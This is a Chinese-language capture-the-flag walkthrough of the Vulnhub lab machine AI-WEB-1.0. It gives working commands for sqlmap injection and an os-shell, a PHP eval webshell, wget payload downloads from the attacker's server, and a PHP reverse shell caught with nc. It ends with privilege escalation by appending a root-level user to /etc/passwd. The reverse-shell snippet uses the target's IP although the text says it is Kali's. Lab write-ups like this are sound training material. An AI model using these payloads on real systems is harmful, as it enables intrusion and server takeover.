Vulnhub靶机:AI-WEB-1.0

燕雀安知鸿鹄之志哉. 2024-08-08 14:31:01 阅读 51

目录

站点信息收集

IP 扫描

端口扫描

目录扫描

漏洞利用

使用 burp 抓包

查询数据库名

查询数据库下的表

查询表中的字段名

查询字段中的数据

--os-shell

上传一句话木马

方法 1

方法 2

蚁剑连接

nc 反弹连接

提权


下载地址:https://download.vulnhub.com/aiweb/AI-Web-1.0.7z

我们从站点信息收集开始,到漏洞攻击,再通过多方法拿到shell,提权。

我们使用kali进行攻击,靶机是AI WEB 1.0

kali的IP:192.168.109.139(终端窗口输 ifconfig)

WEBAI1.0的IP:未知

站点信息收集

IP 扫描

使用arp-scan扫描

<code>arp-scan -l

//-l (扫描c段)

在这里我们可以分析靶机的IP是192.168.109.141

端口扫描

使用 nmap 扫描

<code>nmap 192.168.109.141 -sT -v -T4

只发现了80端口

目录扫描

先访问一下网页

发现什么也没有

使用 dirsearch 扫描

<code>dirsearch -u http://192.168.109.141/ -i 200

尝试访问 robots.txt 里的内容

访问 /m3diNf0/ 发现不能正常访问

访问 /se3reTdir777/uploads/ ,发现无权限(这里出现了一点小错误,按理说应该是放回页面,等我解决了之后再修改、补充文章,不过放心,不影响后面

接着对 /m3diNf0/ 和 /se3reTdir777/uploads/ 进行扫描

<code>dirsearch -u http://192.168.109.141/m3diNf0/ -i 200

/se3reTdir777/uploads/没发现,在/m3diNf0/发现了info.php,访问info.php

<code>http://192.168.109.141/m3diNf0/info.php

发现是phpinfo的页面

再扫描se3reTdir777

dirsearch什么也没扫出来,换dirb扫描

<code>dirb "http://192.168.109.141/se3reTdir777/"

发现了一个 index.php ,访问它

http://192.168.109.141/se3reTdir777/index.php

发现是一个信息查询的页面,尝试sql注入,输入 1

输入 1’

页面报错,存在sql注入漏洞

漏洞利用

使用 burp 抓包

这是抓到的包,注入点是uid=1%27&Operation=Submit

查询数据库名

使用sqlmap 注入

<code>sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs

发现了两个数据库:aiweb1 、 information_schema,以及数据库的版本大于5.6的信息

查询数据库下的表

-D 数据库名

<code>sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 --tables

得到了两个表名: user 、systemUser ,再通过-T 查询表中的字段名

查询表中的字段名

-T 表名

<code>sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T user --columns

得到了3个字段 : firstName、 id、 lastName

查询字段中的数据

-C 字段名

<code>sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T user -C id --dump

没有什么有用信息

--os-shell

level 指定数据库类型为mysql,级别为3

--os-shell执行条件:

网站必须是root权限必须知道网站的绝对路径secure_file_priv无限制

<code>sqlmap -u "http://192.168.109.141/se3reTdir777/" -data "uid=1&Operation=Submit" --os-shell

这里选4 PHP

这里选2输入绝对路径

已经知道m3diNf0和se3reTdir777 两个目录,然后找绝对目录,返回刚才的info.php页面,按 CTRL + f,搜索 m3diNf0和se3reTdir777 这两个目录,se3reTdir777没发现,m3diNf0 如下图所示

由此可以得到绝对路径是: /home/www/html/web1x443290o2sdf92213/

还记得刚才我们找到一个可以上传文件的页面se3reTdir777/uploads/刚好符合 它的绝对目录为

<code>/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

上传一句话木马

方法 1

在kali 桌面新建一个 1.php 文件,php 文件写入以下一句话木马(或者在本机写好拖到 kali 桌面也 ok)

<code><?php @eval($_REQUEST[666]);?>

用 sqlmap 工具写入一句话木马

–file-write:去读取木马文件

–file-dest:后面加要存放文件的地址

sqlmap -u "http://192.168.109.141/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

再次进入 os-shell

<code>sqlmap -u "http://192.168.109.141/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

查看一句话木马是否写入成功

发现写入成功

方法 2

在 kali 终端输入下面命令, 通过python 快速部署网页

<code>python -m http.server 8888

在 kali 家目录创建一个 2.php 一句话木马

然后访问

<code>http://192.168.109.139:8888/

可以看到 2.php 创建成功了

在 os-shell 使用 wget 下载一句话木马

<code>wget http://192.168.109.139:8888/2.php

ls

发现写入一句话木马成功

蚁剑连接

打开蚁剑

<code>http://192.168.109.141/se3reTdir777/uploads/1.php

可以正常访问

这里蚁剑要拿到他的终端,右击打开终端

nc 反弹连接

在 kali 写一个 php 文件,内容如下(IP 是 kali 的)

<code><?php

$sock=fsockopen("192.168.109.141",4444);

exec("/bin/bash -i <&3 >&3 2>&3");

?>

到 os-shell 命令行,用 wget 命令下载

<code>wget http://192.168.109.139:8888/3.php

ls

可以看到下载成功了

开启监听

<code>nc -lvvp 4444

再到 os-shell 执行 3.php

<code>php 3.php

然后发现监听成功

提权

查看当前用户

<code>whoami

在 Linux 系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在 /etc/shadow 文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。

openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

使用 openssl 创建一个用户

openssl passwd 参数 用户名 密码

-1:表示采用的是MD5加密算法。

-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

<code>openssl passwd -1 -salt h 123456

将用户写入/etc/passwd文件中

<code>echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd

查看是否成功写入

<code>cat /etc/passwd

切换用户

用脚本提升为交互式shell,然后切换用户

<code>python -c 'import pty;pty.spawn("/bin/bash")'

su h

<code>cd /

ls

cd root

ls

cat flag.txt

找到了 flag



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。